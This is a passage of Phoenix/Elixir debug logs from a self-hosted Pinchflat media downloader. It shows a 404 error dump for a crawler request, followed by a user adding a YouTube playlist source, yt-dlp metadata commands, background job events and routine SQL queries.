PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/5", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2741.0>, params: %{}, path_info: ["sources", "1", "media", "5", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/5"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/5/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDi2NEHJKN61pIAAAOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2740.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/5/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 53352}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/5", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/5/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2740.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/5/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 53352}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/5", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2741.0>, params: %{}, path_info: ["sources", "1", "media", "5", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logg (truncated) 23:14:48.811 [info] POST /sources 23:14:48.812 [debug] Processing with PinchflatWeb.Sources.SourceController.create/2 Parameters: %{"_csrf_token" => "Cj4oDw4eASMQIgl6Ch8_PAgZZAUDHA0UEwrmOmRjWMc4cWvnRhPQqXkQ", "download_cutoff_date_preset" => "", "source" => %{"cookie_behaviour" => "disabled", "custom_name" => "Custom Downloads", "download_cutoff_date" => "", "download_media" => "true", "fast_index" => "false", "index_frequency_minutes" => "1440", "max_duration_seconds" => "", "media_profile_id" => "1", "min_duration_seconds" => "", "original_url" => "https://www.youtube.com/playlist?list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj", "output_path_template_override" => "", "retention_period_days" => "", "title_filter_regex" => ""}} Pipelines: [:browser] 23:14:48.812 [debug] Running yt-dlp command for action: get_source_details 23:14:48.813 [debug] QUERY OK source="settings" db=0.3ms idle=1302.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:48.814 [debug] QUERY OK source="settings" db=0.1ms idle=1302.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:48.814 [debug] QUERY OK source="settings" db=0.2ms idle=1303.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:48.814 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/e7/21/e7218b1309d7f2c25272d412461652b39e17ba8fcde1f63bc598bc9a8cf0b4e5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:14:51.250 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/e7/21/e7218b1309d7f2c25272d412461652b39e17ba8fcde1f63bc598bc9a8cf0b4e5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:14:51.251 [debug] QUERY OK source="sources" db=0.1ms idle=1420.0ms INSERT INTO "sources" ("enabled","uuid","download_media","original_url","media_profile_id","custom_name","collection_id","collection_name","collection_type","fast_index","index_frequency_minutes","cookie_behaviour","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14) RETURNING "id" [true, "53e0929f-c3da-41fc-86ae-1214e69354cd", true, "https://www.youtube.com/playlist?list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj", 1, "Custom Downloads", "PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj", "Pinchflat", :playlist, false, 1440, :disabled, ~U[2026-03-28 03:14:51Z], ~U[2026-03-28 03:14:51Z]] 23:14:51.251 [debug] QUERY OK source="tasks" db=0.1ms idle=740.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."worker" LIKE ?) AND (o1."state" IN (?,?,?,?)) [3, "%.MediaCollectionIndexingWorker", "available", "scheduled", "retryable", "executing"] 23:14:51.252 [debug] QUERY OK source="tasks" db=0.0ms idle=419.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [118, 3, ~U[2026-03-28 03:14:51Z], ~U[2026-03-28 03:14:51Z]] 23:14:51.252 [debug] QUERY OK source="tasks" db=0.1ms idle=0.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [119, 3, ~U[2026-03-28 03:14:51Z], ~U[2026-03-28 03:14:51Z]] 23:14:51.252 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:51.252 [info] Sent 302 in 2441ms 23:14:51.258 [info] {"args":{"id":3},"id":119,"meta":{},"system_time":1774667691258406216,"max_attempts":3,"queue":"remote_metadata","worker":"Pinchflat.Metadata.SourceMetadataStorageWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","source_metadata","remote_metadata","show_in_dashboard"]} 23:14:51.258 [debug] QUERY OK source="sources" db=0.0ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:51.259 [debug] QUERY OK source="source_metadata" db=0.0ms idle=6.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [3] 23:14:51.259 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:14:51.259 [debug] Running yt-dlp command for action: get_source_details 23:14:51.259 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:51.259 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:51.259 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:51.259 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --output /downloads/Custom Downloads/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/77/40/7740969419afaac69fee706ec1360cc6101b8bfacc77c0d553bbea7443e753db.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:14:51.261 [info] GET /sources/3 23:14:51.261 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 23:14:51.262 [debug] QUERY OK source="sources" db=0.0ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:51.262 [debug] QUERY OK source="media_profiles" db=0.0ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:14:51.262 [debug] QUERY OK source="tasks" db=0.0ms idle=2.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 23:14:51.262 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=2.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [119, 118] 23:14:51.262 [debug] QUERY OK source="settings" db=0.0ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:51.262 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:51.263 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:51.263 [debug] QUERY OK source="sources" db=0.0ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:51.264 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 23:14:51.264 [debug] QUERY OK source="media_items" db=0.2ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 23:14:51.264 [debug] QUERY OK source="sources" db=0.0ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:51.264 [debug] QUERY OK source="media_items" db=0.0ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 23:14:51.264 [debug] QUERY OK source="media_items" db=0.0ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 23:14:51.265 [debug] QUERY OK source="sources" db=0.0ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:51.265 [debug] QUERY OK source="media_items" db=0.0ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 23:14:51.265 [debug] QUERY OK source="media_items" db=0.2ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 23:14:51.266 [info] Sent 200 in 4ms 23:14:51.450 [info] CONNECTED TO Phoenix.LiveView.Socket in 15µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "GyEoF3U4fgR1IVg5CgEYExIdfAYxBQIJThru4K-M2N2wcIQAHlHRCAdL", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:14:51.530 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "pending", "source_id" => 3} 23:14:51.530 [debug] QUERY OK source="sources" db=0.1ms idle=265.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:51.530 [debug] QUERY OK source="media_items" db=0.0ms idle=265.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 23:14:51.530 [debug] QUERY OK source="media_items" db=0.1ms idle=265.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN 